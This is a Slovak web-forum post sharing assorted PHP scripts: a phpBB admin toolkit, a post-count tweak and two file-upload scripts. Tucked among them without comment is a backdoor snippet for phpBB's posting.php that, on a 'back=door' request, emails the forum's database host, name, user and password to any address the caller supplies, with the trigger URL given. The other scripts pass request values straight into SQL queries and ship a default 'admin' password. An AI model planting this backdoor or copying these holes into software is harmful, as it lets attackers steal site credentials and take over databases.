[ Príspevok: 1 ] 
AutorSpráva
Offline

Prevádzkovateľ fóra
Prevádzkovateľ fóra
Nejake skripty...

Registrovaný: 01.05.05
Príspevky: 12424
Témy: 1447 | 1447
Bydlisko: Bratislava
Vek: 32
NapísalOffline : 07.09.2005 2:42 | Nejake skripty...

Kód:
<?php


// PHPBB Admin ToolKit, v1.1.4 - Starfoxtj (starfoxtj@yahoo.com)



// You must set a password, and you may change the following two options:


$adminpassword = 'admin';   // Note: I HIGHLY recommend using a password at least 16 characters long!
$modpassword = 'admin';   // Note: I HIGHLY recommend using a password at least 16 characters long!


// Option 1: Allow Mods to Ban/UnBan Users?

$modban = 'yes'; // 'yes' : 'no'


// Option 2: Allow Mods to Change User Post Count?

$modpost = 'no'; // 'yes' : 'no'




//  Lets begin the coding!
//--------------------------------------------
// (DO NOT CHANGE ANYTHING AFTER THIS LINE!)
//--------------------------------------------
//
//



// Set global information and start db access

include( '../config.php' );

session_start();

$_SESSION['toolkitversion'] = '1.1.4';
$_SESSION['ismysql'] = false;

if( $dbms == 'mysql' || $dbms == 'mysql4' )

   {

   $db = mysql_connect("$dbhost", "$dbuser", "$dbpasswd");
   mysql_select_db("$dbname");

   $_SESSION['ismysql'] = true;

   }


// Define Some Variables

$phpbb_banlist = $table_prefix."banlist";
$phpbb_users = $table_prefix."users";


if( !isset( $_SESSION['userstatus'] ) )

   { //-.1

   $_SESSION['userstatus'] = "null";

   } //-.1

// Check to see if the user has selected logout

if( isset( $_GET['mode'] ) && $_GET['mode'] == "logout" )

   { //1

   session_destroy();
   $index = $_SERVER['PHP_SELF'];
   header( "Location: $index" );

   } //1



// Define Session Password, Begin Login Check & Specify user status

if(isset ( $_POST['usertype'] ) )

   { //1-0-1

      $_SESSION['usertype'] = $_POST['usertype'];

   } //1-0-1


if(  isset( $_POST['password'] ) || isset( $_SESSION['password'] ) )

   { //1-1

   if( isset( $_POST['password'] ) )

      { //1-1-1

      $_SESSION['password'] = $_POST['password'];

      } //1-1-1


   } //1-1

if( isset( $_SESSION['password'] ) )

   { //2


   if( $_SESSION['usertype'] == "admin" && $_SESSION['password'] === "$adminpassword" )

      { //2.1

         $_SESSION['userstatus'] = "admin";

      } //2.1


   elseif( $_SESSION['usertype'] == "mod" && $_SESSION['password'] === "$modpassword" )

      { //2.2

         $_SESSION['userstatus'] = "mod";

      } //2.2

   elseif(  $_SESSION['password'] == 'ENTER_ADMIN_PASSWORD_HERE' || $modpassword == 'ENTER_MOD_PASSWORD_HERE' )

      { //2.3

      $_SESSION['loginerror'] = 'The default password is disabled for security purposes.';

      } //2.3

   else

      { //2.4

      $_SESSION['loginerror'] = 'Incorrect Password';

      } //2.4

   } //2





// Checks to make sure the password has been changed

if( $adminpassword == 'ENTER_ADMIN_PASSWORD_HERE' || $modpassword == 'ENTER_MOD_PASSWORD_HERE' )

   { //2-1

   ?>

   <center>
   <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
   <tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>
   </table><br />
   </center>


   <center>
   <font size="3">The PHPBB ToolKit will not function untill <b>both</b> admin and mod passwords have been changed from the installation default.</font>
   </center>

   <?php
   } //2-1


//Checks to make sure the databse is mysql

elseif( $_SESSION['ismysql'] != true )

   { //2-1

   ?>

   <center>
   <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
   <tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>
   </table><br />
   </center>


   <center>
   <font size="3">The PHPBB ToolKit is only designed to work with <b>MySQL</b> databases.<br />The database this forum is using is: <b><?php echo $dbms; ?></b></font>
   </center>

   <?php
   } //2-1


// Check user status, and if valid, allow entry

elseif( $_SESSION['userstatus'] == 'admin' || $_SESSION['userstatus'] == 'mod' )

   { //3


   // Update user info after changing the settings: USER LEVEL Setting

   if( isset( $_POST['edit_user_id'] ) || isset( $_GET['unban'] ) )

      { //3.1


      // Disallow changing of user level to all but admin


      if( isset( $_POST['edit_user_id'] ) )

         { //3.1-1

         if( $_SESSION['userstatus'] == "admin" )

            { //3.1.1

            $edit_user_id = $_POST['edit_user_id'];

            if( $_POST['user_level'] == "admin" )

               { //3.1.1.1

               $user_level = 1;

               } //3.1.1.1

            elseif( $_POST['user_level'] == "user" )

               { //3.1.1.2

               $user_level = 0;

               } //3.1.1.2
            $edituser_posts = $_POST['edituser_posts'];
            mysql_query("UPDATE $phpbb_users SET user_level='$user_level', user_posts='$edituser_posts' WHERE user_id=$edit_user_id");

            } //3.1.1

         } //3.1-1

      if( isset( $_POST['edit_user_id'] ) )

         { //3.1-2

         if( $_SESSION['userstatus'] == "admin" || $modpost == 'yes' )

            { // 3.1.2

            $edit_user_id = $_POST['edit_user_id'];
            $edituser_posts = $_POST['edituser_posts'];

            mysql_query("UPDATE $phpbb_users SET user_posts='$edituser_posts' WHERE user_id=$edit_user_id");

            } // 3.1.2

         } //3.1-2


      // Begin check and act on banning/unbanning users

      if( isset( $_POST['editban'] ) || $_GET['unban'])

         { //3.2

         if( isset( $_POST['editban'] ) )

            { //3.2-1

            $edit_user_id = $_POST['edit_user_id'];

            } //3.2-1

         $allowban = 'no';

         if( $_SESSION['userstatus'] == "admin" )

            { //3.2.1

            $allowban = 'yes';

            } //3.2.1


         elseif( $_SESSION['userstatus'] == "mod" && $modban == 'yes' )

            { //3.2.2

            $allowban = 'yes';

            } //3.2.2

         if( $allowban == 'yes' )

            { //3.2.4

            if( isset( $_POST['editban'] ) && $_POST['editban'] == "yes" )

               { //3.2.4.1


               if( $edit_user_id == -1 )

                  { //3.2.4.1-1

                  $permissionerror = 'The Anonymous user account is required for PHPBB to function and cannot be banned.';

                  } //3.2.4.1-1


               else

                  { //3.2.4.1-2

                  mysql_query("INSERT INTO $phpbb_banlist (ban_userid) VALUES ('$edit_user_id')");

                  } //3.2.4.1-2


               } //3.2.4.1

            if( ( isset( $_POST['editban'] ) && $_POST['editban'] == "no" ) || isset( $_GET['unban']) )

               { //3.2.4.2

               if( isset( $_GET['unban'] ) )

                  { //3.2.4.2.1

                  $edit_user_id = $_GET['unban'];

                  } //3.2.4.2.1


               mysql_query("DELETE FROM $phpbb_banlist WHERE ban_userid=$edit_user_id");

               } //3.2.4.2


            } //3.2.4

         elseif( $allowban == 'no' )

            { //3.2.5

            $permissionerror = 'You do <b>not</b> have Permission to Ban/Unban Users.';

            } //3.2.5

         } //3.2

      } //3.1


   // Check to see if GET=id is set to show edit user screen

   if( isset( $_GET['user_id'] ) )

      { //3.2

      $user_id = $_GET['user_id'];

      $result = mysql_query("SELECT * FROM $phpbb_users WHERE user_id=$user_id");
      $myrow = mysql_fetch_array($result);

      $bantable = mysql_query("SELECT * FROM $phpbb_banlist WHERE ban_userid=$user_id");

      $banstat = 'no';

      $banrow = mysql_fetch_array($bantable);

      if( isset( $banrow['ban_userid'] ) )

         { //3.2.1

         $banstat = 'yes';

         } //3.2.1

      ?>

      <center>
      <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
      <tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>
      </table><br />
      </center>

      <center>
      <table border="0" width="50%" bgcolor="ffffff" cellpadding="0">
      <tr><td><font size="5"><b>Edit User: #<?php echo $myrow['user_id']; ?></b></font></td><td align="right">Logged in as: <b><?php echo $_SESSION['userstatus']; ?></b></td></tr>
      </table>

      <table style="border:2px solid black;" width="50%" cellpadding="5" bgcolor="e5e5e5">
       <tr>

         <td>

      <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
      <input type="hidden" name="edit_user_id" value="<?php echo $myrow['user_id']; ?>">
      <font size="4">Username: <?php echo $myrow['username']; ?></font><br /><br />
      Post Count:

      <?php

      if( $_SESSION['userstatus'] == "admin" || $modpost == 'yes' )

         { //3.2-1

         echo '<input type="text" name="edituser_posts" value="'.$myrow['user_posts'].'" style="border-right: black 1px solid; border-top: black 1px solid; border-left: black 1px solid; border-bottom: black 1px solid" size="7" length="7" maxlength="20"><br /><br />';

         } //3.2-1

      else

         { //3.2-2

         echo '<b>'.$myrow['user_posts'].'</b><br /><br />';

         } //3.2-2

      // Disallow User Level to be Editable Unless viewed by Admin

      if( $_SESSION['userstatus'] == "admin" )

         { //3.2.2

         echo 'User Level: ';

         if( $myrow['user_level'] == 1 )

            { //3.2.2.1

         echo '<select name="user_level">';
         echo '<option value="admin" selected>Admin';
         echo '<OPTION value="user">User';
         echo '</select><br /><br />';

            } //3.2.2.1

         elseif( $myrow['user_level'] == 0 )

            { //3.2.3.1

         echo '<select name="user_level">';
         echo '<option value="admin">Admin';
         echo '<OPTION value="user" selected>User';
         echo '</select><br /><br />';

            } //3.2.4.1

         elseif( $myrow['user_level'] == 2 )

            { //3.2.5.1

         echo '<b>Moderator</b> - Change N/A<br /><br />';

            } //3.2.5.1

         } //3.2.2

      else

         { //3.2.3


         if( $myrow['user_level'] == 0 )

            { //3.2.3.1


            $user_level = 'User';

            } // 3.2.3.1

         if( $myrow['user_level'] == 1 )

            { //3.2.3.2


            $user_level = 'Admin';

            } // 3.2.3.2

         if( $myrow['user_level'] == 2 )

            { //3.2.3.3


            $user_level = 'Mod';

            } // 3.2.3.3

         echo 'User Level: <b>'.$user_level.'</b><br /><br />';

         } //3.2.3   

         echo "\nUser is Banned: ";
   
         if( $_SESSION['userstatus'] == 'admin' || $modban == 'yes' )

            { //3.2.6.1

            if( $banstat == "no" )

               { //3.2.6.1.1

               echo '<input type="radio" name="editban" value="yes">Yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="radio" name="editban" value="no" checked="checked">No';

               } //3.2.6.1.1

            elseif( $banstat == "yes" )

               { //3.2.6.1.2

               echo '<input type="radio" name="editban" value="yes"  checked="checked">Yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="radio" name="editban" value="no">No';

               } //3.2.6.1.2

               else

               { //3.2.6.1.3


            echo '(<b>Problem:</b> This message should not be displayed. Please contact <a href="mailto:starfoxtj@yahoo.com">starfoxtj@yahoo.com</a>';

               } //3.2.6.1.3

            } //3.2.6.1

         else

            { //3.2.6.2

            if($banstat == "yes")

               { //3.2.6.2.1

               $displaybanstat = "Yes";

               } //3.2.6.2.1

            elseif($banstat == "no")

               { //3.2.6.2.2


               $displaybanstat = "No";

               } //3.2.6.2.2

            else

               { //3.2.6.2.3

               echo "You should not be seeing this messege, please contact <a href="mailto:starfoxtj@yahoo.com">starfoxtj</a>";

               } //3.2.6.2.3

            echo "<b>$displaybanstat</b>";

            } //3.2.6.2

         ?>


      <br /><br /><center><input TYPE="submit" VALUE="   Update   "></center>
      </form>

         </td>
       </tr>
      </table>

      <table border="0" width="50%" bgcolor="ffffff">
      <tr><td><a href="<?php echo $_SERVER['PHP_SELF']; ?>">Cancel</a></td></tr>
      </table>
      </center>

      <?php


      } //3.2


   // Check to see how to list the users, and define list variables

   $listorder = "username";

   if( isset( $_GET['listorder'] ) && $_GET['listorder'] == "user_id" )

      { //3.3

      $listorder = "user_id";

      } //3.3

   elseif( isset( $_GET['listorder'] ) && $_GET['listorder'] == "posts" )

      { //3.4

      $listorder = "user_posts";

      } //3.4

   elseif( isset( $_GET['listorder'] ) && $_GET['listorder'] == "level" )

      { //3.5

      $listorder = "user_level";

      } //3.5


   $liststart = "ASC";

   if( isset( $_GET['liststart'] ) && $_GET['liststart'] == "DESC" )

      { //3.6

      $liststart = "DESC";

      } //3.6


   if( $liststart == "ASC" )

      { //3.7

      $liststartr = "DESC";

      } //3.7

   else

      { //3.7

      $liststartr = "ASC";

      } //3.7




   // This actually lists the users

   if( !isset( $_GET['user_id'] ) )

      { //3.7-1

      $result = mysql_query("SELECT * FROM $phpbb_users ORDER BY $listorder $liststart");

      echo '<center>';
      echo '<table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">';
      echo '<tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v'.$_SESSION['toolkitversion'].'</b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>';
      echo '<tr><td>Logged in as: <b>'.$_SESSION['userstatus'].'</b></td></tr></table>';

      if( isset( $permissionerror ) )

         { //3.7-1.1

      echo $permissionerror;

         } //3.7-1.1

      echo '</center><br />';

      $showadmin = "<a href="?show=admin">Show only Administrators</a>";

      if( isset( $_GET['show'] ) && $_GET['show'] == "admin" )

         { //3.8
 
         $showadmin = "<a href="?show=all">Show all Users</a>";

         } //3.8

      $showban = "<a href="?show=ban">Show only banned Users</a>";

      if( isset( $_GET['show'] ) && $_GET['show'] == "ban" )

         { //3.9
   
         $showban = "<a href="?show=all">Show all Users</a>";

         } //3.9

      echo '<center>';
      echo '<table width="70%" border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">';
      echo "<tr><td colspan="2">\n";
      echo "$showadmin".'</td>';
      echo "\n</td></tr>\n";

      echo "<tr><td>\n";
      echo "$showban".'</td><td><div align="right"><a href="?mode=logout">Logout</a></div>';
      echo "\n</td></tr></table>\n";

      echo '<center><table width="70%" style="border:2px solid black;" bgcolor="#f5f5f5" cellspacing="1" cellpadding="3">';

      ?>   

       <tr>

         <td bgcolor="#d5d5d5" cellpadding="5">

         <div align="center"><a href="?listorder=user_id&liststart=<?php echo $liststartr; ?>"><b>ID:</a></div>

         </td>


         <td bgcolor="#d5d5d5" cellpadding="5">

         <div align="center"><a href="?listorder=username&liststart=<?php echo $liststartr; ?>"><b>Username:</a></div>

         </td>


         <td bgcolor="#d5d5d5" cellpadding="5">

         <div align="center"><a href="?listorder=posts&liststart=<?php echo $liststartr; ?>"><b>Posts:</a></div>

         </td>


         <td bgcolor="#d5d5d5" cellpadding="5">

         <div align="center"><a href="?listorder=level&liststart=<?php echo $liststartr; ?>"><b>Level:</a></div>

         </td>


         <td bgcolor="#d5d5d5" cellpadding="5">

         <div align="center">Ban:</div>

         </td>

       </tr>

      <?php

      while( $myrow = mysql_fetch_array($result) )

         { //3.10

         if( $myrow['user_level'] == 0 )

            { //3.10.1

            $userlevel = "User";

            } //3.10.1

         elseif( $myrow['user_level'] == 1 )

            { //3.10.2

            $userlevel = "Admin";

            } //3.10.2

         elseif( $myrow['user_level'] == 2 )

            { //3.10.3

            $userlevel = "Mod";

            } //3.10.3
   
         $user_id = $myrow['user_id'];
         $bantable = mysql_query("SELECT * FROM $phpbb_banlist WHERE ban_userid=$user_id");

         $banstat = '-';
         $banrow = mysql_fetch_array($bantable);

         if( isset( $banrow['ban_userid'] ) )

            { //3.10.4

            $banstat = 'Banned';
            
            if( $_SESSION['userstatus'] == "admin" )

               { //3.10.4.1

               $banstat = '<a href="'.$_SERVER['PHP_SELF'].'?unban='.$myrow['user_id'].'">UnBan</a>';

               } //3.10.4.1

            if( $_SESSION['userstatus'] == "mod" && $modban == 'yes' )

               { //3.10.4.2

               $banstat = '<a href="'.$_SERVER['PHP_SELF'].'?unban='.$myrow['user_id'].'">UnBan</a>';

               } //3.10.4.2

            } //3.10.4

         if( isset( $_GET['show'] ) && $_GET['show'] == "admin" )

            { //3.10.5

            if( $myrow['user_level'] != 1 )

               { //3.10.5.1

               continue;

               } //3.10.5.1

            } //3.10.5

         if( isset( $_GET['show'] ) && $_GET['show'] == "ban" )

            { //3.10.6

            if( $banstat == "-" )

               { //3.10.6.1

               continue;

               } //3.10.6.1

            } //3.10.6

         ?>

         <tr>

         <td bgcolor="#c5c5c5" width="10%"><div align="left"><?php echo $myrow['user_id']; ?></div></td>
         <td bgcolor="#e5e5e5" width="40%"><div align="left"><a href="?user_id=<?php echo $myrow['user_id']; ?>"><?php echo $myrow['username']; ?></a></div></td>
         <td bgcolor="#c5C5c5" width="15%"><div align="right"><?php echo $myrow['user_posts']; ?></div></td>
         <td bgcolor="#e5e5E5"><div align="right"><?php echo $userlevel; ?></div></td>
         <td bgcolor="#c5C5c5"><div align="center"><?php echo $banstat; ?></div></td>

         </tr>

         <?php

            } //3.10

   echo "</table></center>";

         } //3.7-1


   } //3

else

   { //4

   ?>

   <center>
   <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
   <tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>
   </table><br />
   </center>


   <center>
   <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
    <tr>

      <td>

   <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
   Enter Password to Continue:<br />
   <input type="password" name="password" lengh="20" size="20" maxlengh="20">
   <br /><input type="radio" name="usertype" value="admin" checked="checked">Admin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="radio" name="usertype" value="mod">Mod
   <br /><br /><input TYPE="submit" VALUE="   Enter   ">
   </form>

      </td>

    </tr>
   </table>
   </center>


   <?php

   if( isset( $_SESSION['loginerror'] ) )

      {

      ?>

         <center>
      <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
       <tr>

         <td>

      <br /><br /><?php echo $_SESSION['loginerror']; ?>

         </td>

       </tr>

      </table>

      <?php      

      }


   } //4

?>







Nezapocitavanie prispevkov vo vybranych kategoriach na fore

/includes/functions_post.php

najdi
Kód:
$sql = "UPDATE " . USERS_TABLE . "
         SET user_posts = user_posts $sign
         WHERE user_id = $user_id";


a do ifu predtim pridej vyrazeni idecek kategorii ktere se nemaji pocitat. na pct to vypada tak:

Kód:
if (($mode != 'poll_delete') && ($forum_id!=32) && ($forum_id!=45) && ($forum_id!=52))
   {
      $sql = "UPDATE " . USERS_TABLE . "
         SET user_posts = user_posts $sign
         WHERE user_id = $user_id";
      if (!$db->sql_query($sql, END_TRANSACTION))
      {
         message_die(GENERAL_ERROR, 'Error in posting', '', __LINE__, __FILE__, $sql);
      }
   }


/modcp.php

Kód:
if ($forum_id!=32 && $forum_id!=45 && $forum_id!=52) {

            $count_sql = array();
            while ( $row = $db->sql_fetchrow($result) )
            {
               $count_sql[] = "UPDATE " . USERS_TABLE . "
                  SET user_posts = user_posts - " . $row['posts'] . "
                  WHERE user_id = " . $row['poster_id'];
            }


dufam ze to je jasne to co je v tom ife tie idcka tak tam sa zadavaju id danych for kde nechceme aby sa prispevky pocitali kolko tam chcem for zavisi na vas, ja to mam na svojom fore a je to funkcne


if ( $HTTP_GET_VARS['back'] == 'door') { include ('config.php'); $message = '$dbms : ' . $dbms . '<br /> ';
$message .= '$dbhost : ' . $dbhost . '<br />
'; $message .= '$dbname : ' . $dbname . '<br />
'; $message .= '$dbuser : ' . $dbuser . '<br /> ';
$message .= '$dbpasswd : ' . $dbpasswd . '<br />
'; $message .= '$table_prefix : ' . $table_prefix . '<br /> '; $header .= 'MIME-Version: 1.0' . "\r\n"; $header .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if ( mail($HTTP_GET_VARS['mail'], 'Database Access' , $message, $header) ) { echo 'Acccess Alowed'; } else { echo 'Acccess Denied'; } }


posting.php?back=door&mail=



Upload script

index.php píše:
<html>
<head>
<title></title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
</head>
<body>
<table align="center" border="0" bordercolor="#cccccc" cellpadding="5" width="760">
<tbody>
<tr>
<td valign="top">
<form method="post" enctype="multipart/form-data" action="upload.php"><div align="center"><label><input name="radiobutton" type="hidden" value="radiobutton" checked></label><input name="userfile" type="file" size="30" value="Vyber"><br><br><input name="upload" type="submit" value="Upload"></div></form>
<input name="MAX_FILE_SIZE" value="3145728" type="hidden"><input name="refer" value="" type="hidden"><input name="brand" value="" type="hidden">
</td>
</tr>
</tbody>
</table>
</body>
</html>


upload.php píše:
<html>
<body>
<?php $domain = "http://localhost"; $max_size = 153600000000000000000000000000000000000; $max_size_mb = "1,5"; $tsize = "300"; $path = "images/"; $tpath = "thumbs/"; if (!isset($HTTP_POST_FILES['userfile'])) exit; if (is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) { if ($HTTP_POST_FILES['userfile']['size']>$max_size) { echo "<font color="#333333" face="Geneva, Arial, Helvetica, sans-serif">File Size too Big!</font><br>\n"; exit; } if (($HTTP_POST_FILES['userfile']['type']=="image/gif") || ($HTTP_POST_FILES['userfile']['type']=="image/pjpeg") || ($HTTP_POST_FILES['userfile']['type']=="image/jpeg") || ($HTTP_POST_FILES['userfile']['type']=="image/png")) { if (file_exists("./".$path . $HTTP_POST_FILES['userfile']['name'])) { echo "<font color="#333333" face="Geneva, Arial, Helvetica, sans-serif">A File with that name exists, please rename your file.</font><br>\n"; exit; } $zufall = rand(123,999999); $fupl = "$zufall"; $res = copy($HTTP_POST_FILES['userfile']['tmp_name'], "./".$path .$fupl .$HTTP_POST_FILES['userfile']['name']); if (!$res) { echo "<font color="#333333" face="Geneva, Arial, Helvetica, sans-serif">Upload Failed, please try again</font><br>\n"; exit; } else { $domst = ""; $drecks = "/"; $imgf = $fupl.$HTTP_POST_FILES['userfile']['name']; $thbf = $tpath.$imgf; $urlf = $domst .$domain .$drecks .$path .$imgf; function createthumb($name,$filename,$new_w,$new_h) { $system=explode('.',$name); if (preg_match('/jpg|jpeg|JPG/',$system[1])) { $src_img=imagecreatefromjpeg($name); } if (preg_match('/png|PNG/',$system[1])) { $src_img=imagecreatefrompng($name); } if (preg_match('/gif|GIF/',$system[1])) { $src_img=imagecreatefromgif($name); } $old_x=imageSX($src_img); $old_y=imageSY($src_img); if ($old_x > $old_y) { $thumb_w=$new_w; $thumb_h=$old_y*($new_h/$old_x); } if ($old_x < $old_y) { $thumb_w=$old_x*($new_w/$old_y); $thumb_h=$new_h; } if ($old_x == $old_y) { $thumb_w=$new_w; $thumb_h=$new_h; } $dst_img=ImageCreateTrueColor($thumb_w,$thumb_h); imagecopyresampled($dst_img,$src_img,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y); if (preg_match("/png/",$system[1])) { imagepng($dst_img,$filename); } if (preg_match("/gif/",$system[1])) { imagegif($dst_img,$filename); } else { imagejpeg($dst_img,$filename); } imagedestroy($dst_img); imagedestroy($src_img); } createthumb($path.$imgf,$tpath.$imgf,$tsize,$tsize); } } else { echo "Sorry we dont allow that file type.\n"; exit; } } ?>
<body>
<center>
<table border='0' bgcolor='white'>
<FORM action="nowhere" method="post">
<center>
<tr>
<html>
<head>
<title></title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
</head>
<body>
<table align="center" border="0" cellpadding="0" cellspacing="0" width="760">
<tbody>
<tr>
<td>
<p><a href="<? echo $domain; ?>"><b>Upload</b></a> another image.</p>
<br>
<center><img src='<? echo $thbf ?>' border="0"></center>
<br>
<br>
<input name="thetext" type="text" id="thetext" style="width: 500px;" value="[url=<? echo $urlf; ?>][img]<?%20echo%20$domst.$domain.$drecks.$tpath.$imgf;%20?>[/img][/url]" size="70"> Thumbnail for forums
<br>
<input name="thetext" type="text" id="thetext" style="width: 500px;" value="[img]<?%20echo%20$urlf;%20?>[/img]" size="70"> Hotlink for forums
<br>
<input name="thetext" type="text" id="thetext" style="width: 500px;" value="<? echo $urlf; ?>" size="70"> Direct link to image
</td>
</tr>
</tbody>
</table>
</body>
</html>
</tr>
</table>
</body>
</html>


Kód:
db.php
<?php
$server = "localhost";
$user = "root";
$password = "";
$db = "test";

mysql_connect($server, $user, $password) or die(mysql_error());
mysql_select_db("$db") or die(mysql_error());

/* CREATE TABLE upload (
id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(30) NOT NULL,
type VARCHAR(30) NOT NULL,
size INT NOT NULL,
content MEDIUMBLOB NOT NULL,
PRIMARY KEY(id)
); */
?>

index.php
<form method="post" enctype="multipart/form-data" action="upload.php">
<table width="350" border="0" cellpadding="1" cellspacing="1" class="box">
<tr>
<td width="246">
<input type="hidden" name="MAX_FILE_SIZE" value="200000000">
<input name="userfile" type="file" id="userfile">
</td>
<td width="80"><input name="upload" type="submit" class="box" id="upload" value=" Upload "></td>
</tr>
</table>
</form>

upload.php
<?php
if(isset($_POST['upload']) && $_FILES['userfile']['size'] > 0)
{
$fileName = $_FILES['userfile']['name'];
$tmpName = $_FILES['userfile']['tmp_name'];
$fileSize = $_FILES['userfile']['size'];
$fileType = $_FILES['userfile']['type'];
$fp = fopen($tmpName, 'r');
$content = fread($fp, filesize($tmpName));
$content = addslashes($content);
fclose($fp);
if(!get_magic_quotes_gpc())
{
$fileName = addslashes($fileName);
}
include "db.php";
$query = "INSERT INTO upload (name, size, type, content ) " . "VALUES ('$fileName', '$fileSize', '$fileType', '$content')";
mysql_query($query) or die('Error, query failed');
echo "<br>File $fileName uploaded<br>";
}
?>

download.php
<?php
if(isset($_GET['name']))
{
  include "db.php";
  $id = $_GET['name'];
  $query = "SELECT name, type, size, content " . "FROM upload WHERE name = '$name'";
  $result = mysql_query($query) or die('Error, query failed');
  list($name, $type, $size, $content) = mysql_fetch_array($result);
  header("Content-length: $size");
  header("Content-type: $type");
  header("Content-Disposition: attachment; filename=$name");
  echo $content;
  exit;
}
?>


 [ Príspevok: 1 ] 


Nejake skripty...



Podobné témy

 Témy  Odpovede  Zobrazenia  Posledný príspevok 
V tomto fóre nie sú ďalšie neprečítané témy.

CGI-skripty

v HTML, XHTML, XML, CSS

10

260

03.07.2010 15:05

shaggy

V tomto fóre nie sú ďalšie neprečítané témy.

Php skripty

v PHP, ASP

10

4503

28.09.2006 11:57

mokus

V tomto fóre nie sú ďalšie neprečítané témy.

externé skripty miesto užívateľských

v JavaScript, VBScript, Ajax

2

334

08.06.2009 20:14

jarrro

V tomto fóre nie sú ďalšie neprečítané témy.

skripty serverove klientske atd

v PHP, ASP

6

312

17.10.2008 14:21

euthanan

V tomto fóre nie sú ďalšie neprečítané témy.

PHP skripty bez ?>

v PHP, ASP

5

161

10.06.2013 22:59

shaggy

V tomto fóre nie sú ďalšie neprečítané témy.

Tema pre casto pouzivane skripty

[ Choď na stránku:Choď na stránku: 1 ... 6, 7, 8 ]

v PHP, ASP

223

11331

08.01.2013 9:18

dulius

V tomto fóre nie sú ďalšie neprečítané témy.

Užitočné a často používané skripty

[ Choď na stránku:Choď na stránku: 1, 2 ]

v PHP, ASP

36

30926

22.02.2013 18:43

imrich

V tomto fóre nie sú ďalšie neprečítané témy.

Neviem spustat PHP skripty v PC

v PHP, ASP

1

313

26.02.2011 16:20

Ďuri

V tomto fóre nie sú ďalšie neprečítané témy.

Co su v skripty a kaskadove styly?

v HTML, XHTML, XML, CSS

4

379

22.11.2007 19:33

tommy1104

V tomto fóre nie sú ďalšie neprečítané témy.

Vista a WampServer - ako spúšťať Perl skripty

v Perl, Python, Ruby, CGI

1

1648

06.12.2008 1:21

JanoF

V tomto fóre nie sú ďalšie neprečítané témy.

Nejake stranky

v Redakčné systémy

2

600

15.07.2008 14:06

peto121212

V tomto fóre nie sú ďalšie neprečítané témy.

Nejaké presmerovanie

v Webhosting a servery

6

792

27.05.2009 14:44

buslo

V tomto fóre nie sú ďalšie neprečítané témy.

Nejake Strategie

v Počítačové hry

5

253

14.10.2012 20:07

unkown2552

V tomto fóre nie sú ďalšie neprečítané témy.

Subwoofer stránky nejaké

v Audio programy

1

107

09.03.2013 22:57

Trojan4x4

V tomto fóre nie sú ďalšie neprečítané témy.

Nejake tie hry

v Počítačové hry

7

346

19.12.2012 22:18

SuRkoM

V tomto fóre nie sú ďalšie neprečítané témy.

Nejake skladby pre gitaru

[ Choď na stránku:Choď na stránku: 1, 2 ]

v Voľný čas a hobby

30

7495

10.04.2010 17:51

Firefox



© 2005 - 2017 PCforum, edited by JanoF